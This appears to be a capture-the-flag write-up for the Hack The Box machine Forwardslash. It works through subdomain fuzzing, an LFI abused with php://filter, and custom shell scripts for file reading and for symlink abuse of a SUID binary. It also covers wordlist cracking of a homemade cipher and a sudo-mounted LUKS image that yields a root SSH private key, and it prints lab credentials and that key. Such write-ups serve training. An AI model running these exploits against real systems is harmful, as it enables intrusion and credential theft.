This page looks best with JavaScript enabled

Forwardslash

 ·  ☕ 11 min read  ·  ✍️ M4t35Z

Summary

I discovered a subdomain which had a semi-disabled picture upload functionality.
There was an LFI vulnerability in this page. I used the LFI in order to get the source of the files used on the page. I successfully gathered some credentials and logged into ssh.
I escalated my privileges to an other user by exploiting a custom built SUID binary.
Then I cracked a custom crypto by editing the source of it. Then I used the password I got to mount a backup image of root’s ssh private key. After all that I just logged in as root on ssh by supplying the key.

Box Information

Name Forwardslash
OS: Linux
Difficulty: Hard
Points: 40
Release: 04 Apr 2020
IP: 10.10.10.183

Recon

Nmap

nmap -p- -A -T4 10.10.10.183 -oN recon/nmap_big.txt

nmap_big.txt

PORT SERVICE VERSION
22 ssh OpenSSH 7.6p1
80 http Apache httpd 2.4.29

10.10.10.183 - http - TCP 80

10.10.10.183 redirected me to forwardslash.htb so I added it to my /etc/hosts file.

10.10.10.183 forwardslash.htb

forwardslash.htb - http - TCP 80

mainpage

Subdomain enumeration

I used wfuzz for subdomain enumeration.

wfuzz --hh 0 -w /usr/share/seclists/Discovery/DNS/subdomains-top1million-110000.txt -H "Host: FUZZ.forwardslash.htb" http://forwardslash.htb

And I got the backup subdomain!

I added backup.forwardslash.htb to my /etc/hosts file.

10.10.10.183 forwardslash.htb backup.forwardslash.htb

backup.forwardslash.htb - http - TCP 80

I got automatically redirected to http://backup.forwardslash.htb/login.php.

loginpage

I tried to login with admin:admin and I got an interesting result.

admin_admin

No account found with that username.

The error is too much verbosive so I could enumerate all the correct users on this login page.

I created an account on the register page.

My creds: asd:asd123

And I gave the login asd:notmypass:

notvalidpw

The password you entered was not valid.

  • I confirmed that I could enumerate users on the webpage with the verbosive error!

Logged In functionalities

I logged in with my correct credentials I created before and I got redirected to http://backup.forwardslash.htb/welcome.php.

loggedin

The page had several options I could do with my accound but some of them didn’t work correctly. For instance I tried to change my password and it didn’t change.

The only working and also interesting page was the profile picture changer page http://backup.forwardslash.htb/profilepicture.php.

picturechangerpage

  • The textbox and submit button was disabled BUT I could delete the disabled="" option in the page’s source(F12)!

I deleted these disabled=""’s from the texbox and the submit button too in order to be able to test its functionalities.

I made the request with asd in the textbox while I was capturing the request with burp.

request

My string(asd) was in the url post parameter.

url=asd

My curl command(ease of use):

curl -X POST http://backup.forwardslash.htb/profilepicture.php -b 'PHPSESSID=jrqrtpklnhg7k6ds0hga9pu9bp' -d 'url=asd'
  • Note: PHPSESSID is NEEDED and it will be different if I change accounts on the page.

Exploitation

LFI

I tried to get an lfi by making the value of the asd parameter /etc/passwd.

curl -X POST http://backup.forwardslash.htb/profilepicture.php -b 'PHPSESSID=jrqrtpklnhg7k6ds0hga9pu9bp' -d 'url=/etc/passwd'

etcpasswd

  • I have an LFI!

I also tried to print out web files, for example index.php but there is a restriction for these(web) files.

curl -X POST http://backup.forwardslash.htb/profilepicture.php -b 'PHPSESSID=jrqrtpklnhg7k6ds0hga9pu9bp' -d 'url=index.php'

permission_denied

Bypassing restrictions

I searched for php bypass lfi restrictions and I found this medium article.

I used a php wrapper to get a fully working lfi!

url=php://filter/convert.base64-encode/resource=/etc/passwd
  • This will encode the source of the file into base64 and this might bypass some basic restrictions.

I tried it with index.php and it WORKED!

curl -X POST http://backup.forwardslash.htb/profilepicture.php -b 'PHPSESSID=jrqrtpklnhg7k6ds0hga9pu9bp' -d 'url=php://filter/convert.base64-encode/resource=index.php'

bypassed

I decoded the last long base64 encoded line and I got the source!

echo 'dTw/cGhwCi8vIEluaXRpYWxpemUgdGhlIHNlc3Npb24Kc2Vzc2lvbl9zdGFydCgpOwoKLy8gQ2hlY2sgaWYgdGhlIHVzZXIgaXMgbG9nZ2VkIGluLCBpZiBub3QgdGhlbiByZWRpcmVjdCBoaW0gdG8gbG9naW4gcGFnZQppZighaXNzZXQoJF9TRVNTSU9OWyJsb2dnZWRpbiJdKSB8fCAkX1NFU1NJT05bImxvZ2dlZGluIl0gIT09IHRydWUpewogICAgaGVhZGVyKCJsb2NhdGlvbjogbG9naW4ucGhwIik7CiAgICBleGl0Owp9IGVsc2UgewoJaGVhZGVyKCJsb2NhdGlvbjogLyIpOwoJZXhpdCgpOwp9Cj8+Cgo8IURPQ1RZUEUgaHRtbD4KPGh0bWwgbGFuZz0iZW4iPgo8aGVhZD4KICAgIDxtZXRhIGNoYXJzZXQ9IlVURi04Ij4KICAgIDx0aXRsZT5XZWxjb21lPC90aXRsZT4KICAgIDxsaW5rIHJlbD0ic3R5bGVzaGVldCIgaHJlZj0iYm9vdHN0cmFwLmNzcyI+CiAgICA8c3R5bGUgdHlwZT0idGV4dC9jc3MiPgogICAgICAgIGJvZHl7IGZvbnQ6IDE0cHggc2Fucy1zZXJpZjsgdGV4dC1hbGlnbjogY2VudGVyOyB9CiAgICA8L3N0eWxlPgo8L2hlYWQ+Cjxib2R5PgogICAgPGRpdiBjbGFzcz0icGFnZS1oZWFkZXIiPgogICAgICAgIDxoMT5IaSwgPGI+PD9waHAgZWNobyBodG1sc3BlY2lhbGNoYXJzKCRfU0VTU0lPTlsidXNlcm5hbWUiXSk7ID8+PC9iPi4gV2VsY29tZSB0byBvdXIgc2l0ZS48L2gxPgogICAgPC9kaXY+CiAgICA8cD4KICAgICAgICA8YSBocmVmPSJyZXNldC1wYXNzd29yZC5waHAiIGNsYXNzPSJidG4gYnRuLXdhcm5pbmciPlJlc2V0IFlvdXIgUGFzc3dvcmQ8L2E+CiAgICAgICAgPGEgaHJlZj0ibG9nb3V0LnBocCIgY2xhc3M9ImJ0biBidG4tZGFuZ2VyIj5TaWduIE91dCBvZiBZb3VyIEFjY291bnQ8L2E+PGJyPjxicj4KCTxhIGhyZWY9ImhvZi5waHAiIGNsYXNzPSJidG4gYnRuLXdhcm5pbmciPkhhbGwgb2YgZmFtZTwvYT4KCTxhIGhyZWY9InByb2ZpbGVwaWN0dXJlLnBocCIgY2xhc3M9ImJ0biBidG4tZGFuZ2VyIj5DaGFuZ2UgWW91ciBQcm9maWxlIFBpY3R1cmU8L2E+CiAgICA8L3A+CjwvYm9keT4KPC9odG1sPgo=' \
| base64 -d

sourceof_index

Making the decryption more easy

I used tail to get the last line of the curl output.
And I also used curl -s to use curl’s stealth mode in order to remove the junk from the beginning of the output.

curl -s -X POST http://backup.forwardslash.htb/profilepicture.php -b 'PHPSESSID=jrqrtpklnhg7k6ds0hga9pu9bp' -d 'url=php://filter/convert.base64-encode/resource=index.php' | tail -n 1 | base64 -d

tailed_stealthed

  • Now I have the source of the given file without any junk
  • But changing the filename in the long command is a pain so I made a script for this purpose

lfi.sh(posix compliant btw):

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
#!/bin/sh

usage='usage: lfi.sh "<file from target u want>"' 
cookie='jrqrtpklnhg7k6ds0hga9pu9bp'
filename=$1

juicylfi() {
    curl -s -X POST "http://backup.forwardslash.htb/profilepicture.php" \
        -b "PHPSESSID=$cookie" \
        -d "url=php://filter/convert.base64-encode/resource=$filename" \
    | tail -n 1 \
    | base64 -d
}

# basic check for needed var
case $# in
    "0") echo $usage ;;
    "1") juicylfi ;;
esac

I ran it on /etc/passwd and index.php too:

sh expl/lfi.sh "/etc/passwd"

script_etcpasswd

sh expl/lfi.sh "index.php"

script_indexphp

Interesting file contents

I started investingating the files on the server with my scritp.

Since I had /etc/passwd’s content I could easily grep for users with shell from the output.

sh expl/lfi.sh "/etc/passwd" | grep bash

Users on the box (with bash as default shell) are: root, pain and chiv.

I also take a look at login.php and found out it included config.php.

script_loginphp

  • Config files are always interesting

I took a look at config.php and I got database credentials!

sh expl/lfi.sh "config.php"

script_configphp

I also tried to get the contents of the dev dir’s index.php file which was only accessible from localhost when I tried to go there from my browser.

sh expl/lfi.sh "dev/index.php"
  • I got a huge output but there were CREDS inside!

script_dev-indexphp

The Interesting lines are:

<!-- TODO:
Fix FTP Login
-->

if (@ftp_login($conn_id, "chiv", 'N0bodyL1kesBack/')) {
  • Credentials are: chiv:N0bodyL1kesBack/

SSH login

I used the creds I previously got from the server in order to log into ssh.

ssh chiv@10.10.10.183
  • I got in!

gotuser_chiv

Privilege Escalation from chiv

Manual findings

I started searching for things manually.

Firstly I ran sudo -l in order to dicover any command I’m able to run as root. But I didn’t get anything except a message which says I cannot run sudo on this box as chiv.

chiv_sudo

I also started looking for SUID files.

find / -type f -perm /4000 2>/dev/null
  • I got a lot of junk (like snap binaries, files inside /usr/lib) so I grepped these junks out.
find / -type f -perm /4000 2>/dev/null | grep -v 'snap\|lib'

suids

/bin/fusermount
/bin/mount
/bin/ping
/bin/umount
/bin/su
/usr/bin/sudo
/usr/bin/pkexec
/usr/bin/passwd
/usr/bin/newgrp
/usr/bin/gpasswd
/usr/bin/traceroute6.iputils
/usr/bin/chfn
/usr/bin/chsh
/usr/bin/at
/usr/bin/newuidmap
/usr/bin/backup
/usr/bin/newgidmap
  • This is a more reasonable amount of files now

I removed the default linux suid files(I knew) from the list and I got only 1 unknown.

/usr/bin/backup

Further investigation of the backup SUID

I ran ls -l /usr/bin/backup in order to get the owner of the SUID file.

-r-sr-xr-x 1 pain pain 13384 Mar  6 10:06 /usr/bin/backup
  • The owner is pain

I ran file /usr/bin/backup in order to identify the type of the file.

/usr/bin/backup: setuid ELF 64-bit LSB shared object, x86-64, version 1 (SYSV), dynamically linked, interpreter /lib64/l, for GNU/Linux 3.2.0, BuildID[sha1]=e0fcfb1c48fe0b5377774c1d237dc50ddfa41c08, not stripped
  • It’s a dynamically linked elf file

I also ran it.

/usr/bin/backup

backupbin

----------------------------------------------------------------------
        Pain's Next-Gen Time Based Backup Viewer
        v0.1
        NOTE: not reading the right file yet,
        only works if backup is taken in same second
----------------------------------------------------------------------

Current Time: 15:26:10
ERROR: 4d660ca797997dadd8087546022fcf88 Does Not Exist or Is Not Accessible By Me, Exiting...
  • It’s a backup viewer
  • It’s doing something with the current time (hour, minutes, seconds)
  • It’s doing some crypto stuff. It hashes something to md5.
  • It’s trying to access the hash as a file

I tried to hash the printed time with md5sum and got the same hash!

hashing

Exploiting the custom SUID

I tried to make a file with my custom content. And I tried to set the name to the hash the program gave me.

filename=$(/usr/bin/backup | tail -n 1 | awk '{print $2}'); echo "ayyy" > $filename; /usr/bin/backup

backup_expl1

----------------------------------------------------------------------
        Pain's Next-Gen Time Based Backup Viewer
        v0.1
        NOTE: not reading the right file yet,
        only works if backup is taken in same second
----------------------------------------------------------------------

Current Time: 15:44:05
ayyy
  • It worked! My custom content got printed out!

Now I just need a file which can be read by user pain and I just need to link that file to the time based hash file!

Searching useful for files owned by pain

find / -type f -user pain 2>/dev/null

I got some files

/var/backups/config.php.bak
/usr/bin/backup
/home/pain/.profile
/home/pain/user.txt
/home/pain/.bashrc
/home/pain/.bash_logout
/home/pain/encryptorinator/encrypter.py
/home/pain/encryptorinator/ciphertext
/home/pain/note.txt

/var/backups/config.php.bak seems interesting!

I link this file to the current hash and try to get its contents.

filename=$(/usr/bin/backup | tail -n 1 | awk '{print $2}'); ln -s /var/backups/config.php.bak $filename; /usr/bin/backup

dbcreds_pain

define('DB_USERNAME', 'pain');
define('DB_PASSWORD', 'db1f73a72678e857d91e71d2963a1afa9efbabb32164cc1d94dbc704');
  • I got access to pain’s credentials: pain:db1f73a72678e857d91e71d2963a1afa9efbabb32164cc1d94dbc704

I also wrote a little wrapper for ease of use:

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
#!/bin/sh

usage='usage: backupexp.sh "<file u want 2 read>"'
filename=$1

fileread() {
    hashname=$(/usr/bin/backup | tail -n 1 | awk '{print $2}') # store the current time's hash
    ln -s $filename $hashname # link the given file to the hash
    /usr/bin/backup # start the backup program
}

case $# in
    "0") echo $usage ;;
    "1") fileread ;;
esac
  • Note: This must be saved on the box

Proof:

sh backupexp.sh "/etc/lsb-release"

Output:

----------------------------------------------------------------------
        Pain's Next-Gen Time Based Backup Viewer
        v0.1
        NOTE: not reading the right file yet,
        only works if backup is taken in same second
----------------------------------------------------------------------

Current Time: 16:20:58
DISTRIB_ID=Ubuntu
DISTRIB_RELEASE=18.04
DISTRIB_CODENAME=bionic
DISTRIB_DESCRIPTION="Ubuntu 18.04.4 LTS"

I’ve successfully logged into ssh with the creds I got from the backup file!

ssh pain@10.10.10.183

gotuser_pain

Now, I was able to cat out the user flag from /home/pain/user.txt.

3480************************e670

Privilege Escalation from pain

Manual findings

I ran sudo -l (as always) and I got some interesting permissions!

sudoperms

(root) NOPASSWD: /sbin/cryptsetup luksOpen *
(root) NOPASSWD: /bin/mount /dev/mapper/backup ./mnt/
(root) NOPASSWD: /bin/umount ./mnt/

There is a note.txt file in pain’s home dir and there is also a directory named encryptorinator.

note.txt:

Pain, even though they got into our server, I made sure to encrypt any important files and then did some crypto magic on the key… I gave you the key in person the other day, so unless these hackers are some crypto experts we should be good to go.

-chiv

I found a pyhton script (encrypter.py) and an encrypted file (ciphertext) inside the encryptorinator directory.

I used scp to copy them to my local machine.

scp pain@10.10.10.183:/home/pain/encryptorinator/* ./files/pain/

The original script:

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
def encrypt(key, msg):
    key = list(key)
    msg = list(msg)
    for char_key in key:
        for i in range(len(msg)):
            if i == 0:
                tmp = ord(msg[i]) + ord(char_key) + ord(msg[-1])
            else:
                tmp = ord(msg[i]) + ord(char_key) + ord(msg[i-1])

            while tmp > 255:
                tmp -= 256
            msg[i] = chr(tmp)
    return ''.join(msg)

def decrypt(key, msg):
    key = list(key)
    msg = list(msg)
    for char_key in reversed(key):
        for i in reversed(range(len(msg))):
            if i == 0:
                tmp = ord(msg[i]) - (ord(char_key) + ord(msg[-1]))
            else:
                tmp = ord(msg[i]) - (ord(char_key) + ord(msg[i-1]))
            while tmp < 0:
                tmp += 256
            msg[i] = chr(tmp)
    return ''.join(msg)


print encrypt('REDACTED', 'REDACTED')
print decrypt('REDACTED', encrypt('REDACTED', 'REDACTED'))

I edited this file to try to crack the ciphertext file with rockyou.txt.

I just commented out the last 2 example lines. And added a decryptor part.

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
# print encrypt('REDACTED', 'REDACTED')
# print decrypt('REDACTED', encrypt('REDACTED', 'REDACTED'))

wlist = "/usr/share/wordlists/rockyou.txt"
cipher = open("ciphertext").read()
outfile = open("output.txt", "w")
with open(wlist) as fileobj:
    for line in fileobj:
        line = line.strip()
        decrypted = decrypt(line, cipher)
        outfile.write(decrypted)
        outfile.close()

So the full script looks like this:

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
def encrypt(key, msg):
    key = list(key)
    msg = list(msg)
    for char_key in key:
        for i in range(len(msg)):
            if i == 0:
                tmp = ord(msg[i]) + ord(char_key) + ord(msg[-1])
            else:
                tmp = ord(msg[i]) + ord(char_key) + ord(msg[i-1])

            while tmp > 255:
                tmp -= 256
            msg[i] = chr(tmp)
    return ''.join(msg)

def decrypt(key, msg):
    key = list(key)
    msg = list(msg)
    for char_key in reversed(key):
        for i in reversed(range(len(msg))):
            if i == 0:
                tmp = ord(msg[i]) - (ord(char_key) + ord(msg[-1]))
            else:
                tmp = ord(msg[i]) - (ord(char_key) + ord(msg[i-1]))
            while tmp < 0:
                tmp += 256
            msg[i] = chr(tmp)
    return ''.join(msg)


# print encrypt('REDACTED', 'REDACTED')
# print decrypt('REDACTED', encrypt('REDACTED', 'REDACTED'))

wlist = "/usr/share/wordlists/rockyou.txt"
cipher = open("ciphertext").read()
outfile = open("output.txt", "w")
with open(wlist) as fileobj:
    for line in fileobj:
        line = line.strip()
        decrypted = decrypt(line, cipher)
        outfile.write(decrypted)
outfile.close()

I ran the script with python2 encrypter.py for half a minute and then <ctrl>+c-ed out. I ran strings on the file then grepped for the because it is a usual word in a sentence.

strings output.txt | grep "the"

cracked_crypto

you liked my new encryption tool, pretty secure huh, anyway here is the key to the encrypted image from /var/backups/recovery: cB!6%sdH8Lj^@Y*$C2cf

  • I got a password for a file! /var/backups/recovery:cB!6%sdH8Lj^@Y*$C2cf

Exploiting LUKS

I searched for the use of LUKS and found this article: How to use LUKS.

  1. I created a mapper file (/dev/mapper/backup):
sudo /sbin/cryptsetup luksOpen /var/backups/recovery/encrypted_backup.img backup
  • I named it backup because this is the only 1 I have permission to mount using sudo mount.
  1. I mounted it(firstly I made a dir /dev/shm/mnt and went to /dev/shm):
mkdir /dev/shm/mnt
cd /dev/shm/
sudo /bin/mount /dev/mapper/backup ./mnt/
  1. I listed the files inside the mnt directory and there were only 1. id_rsa.

idrsa

-----BEGIN RSA PRIVATE KEY-----
MIIEowIBAAKCAQEA9i/r8VGof1vpIV6rhNE9hZfBDd3u6S16uNYqLn+xFgZEQBZK
RKh+WDykv/gukvUSauxWJndPq3F1Ck0xbcGQu6+1OBYb+fQ0B8raCRjwtwYF4gaf
yLFcOS111mKmUIB9qR1wDsmKRbtWPPPvgs2ruafgeiHujIEkiUUk9f3WTNqUsPQc
u2AG//ZCiqKWcWn0CcC2EhWsRQhLOvh3pGfv4gg0Gg/VNNiMPjDAYnr4iVg4XyEu
NWS2x9PtPasWsWRPLMEPtzLhJOnHE3iVJuTnFFhp2T6CtmZui4TJH3pij6wYYis9
MqzTmFwNzzx2HKS2tE2ty2c1CcW+F3GS/rn0EQIDAQABAoIBAQCPfjkg7D6xFSpa
V+rTPH6GeoB9C6mwYeDREYt+lNDsDHUFgbiCMk+KMLa6afcDkzLL/brtKsfWHwhg
G8Q+u/8XVn/jFAf0deFJ1XOmr9HGbA1LxB6oBLDDZvrzHYbhDzOvOchR5ijhIiNO
3cPx0t1QFkiiB1sarD9Wf2Xet7iMDArJI94G7yfnfUegtC5y38liJdb2TBXwvIZC
vROXZiQdmWCPEmwuE0aDj4HqmJvnIx9P4EAcTWuY0LdUU3zZcFgYlXiYT0xg2N1p
MIrAjjhgrQ3A2kXyxh9pzxsFlvIaSfxAvsL8LQy2Osl+i80WaORykmyFy5rmNLQD
Ih0cizb9AoGBAP2+PD2nV8y20kF6U0+JlwMG7WbV/rDF6+kVn0M2sfQKiAIUK3Wn
5YCeGARrMdZr4fidTN7koke02M4enSHEdZRTW2jRXlKfYHqSoVzLggnKVU/eghQs
V4gv6+cc787HojtuU7Ee66eWj0VSr0PXjFInzdSdmnd93oDZPzwF8QUnAoGBAPhg
e1VaHG89E4YWNxbfr739t5qPuizPJY7fIBOv9Z0G+P5KCtHJA5uxpELrF3hQjJU8
6Orz/0C+TxmlTGVOvkQWij4GC9rcOMaP03zXamQTSGNROM+S1I9UUoQBrwe2nQeh
i2B/AlO4PrOHJtfSXIzsedmDNLoMqO5/n/xAqLAHAoGATnv8CBntt11JFYWvpSdq
tT38SlWgjK77dEIC2/hb/J8RSItSkfbXrvu3dA5wAOGnqI2HDF5tr35JnR+s/JfW
woUx/e7cnPO9FMyr6pbr5vlVf/nUBEde37nq3rZ9mlj3XiiW7G8i9thEAm471eEi
/vpe2QfSkmk1XGdV/svbq/sCgYAZ6FZ1DLUylThYIDEW3bZDJxfjs2JEEkdko7mA
1DXWb0fBno+KWmFZ+CmeIU+NaTmAx520BEd3xWIS1r8lQhVunLtGxPKvnZD+hToW
J5IdZjWCxpIadMJfQPhqdJKBR3cRuLQFGLpxaSKBL3PJx1OID5KWMa1qSq/EUOOr
OENgOQKBgD/mYgPSmbqpNZI0/B+6ua9kQJAH6JS44v+yFkHfNTW0M7UIjU7wkGQw
ddMNjhpwVZ3//G6UhWSojUScQTERANt8R+J6dR0YfPzHnsDIoRc7IABQmxxygXDo
ZoYDzlPAlwJmoPQXauRl1CgjlyHrVUTfS0AkQH2ZbqvK5/Metq8o
-----END RSA PRIVATE KEY-----
  • I saved it and tried to login as root with this ssh key.
ssh -i files/id_rsa root@10.10.10.183
  • I got in without any pasword!

gotroot

Now I got root so I got access to the root flag (/root/root.txt):

roottxt

12c0************************ae93
Share on
Support the author with

M4t35Z
WRITTEN BY
M4t35Z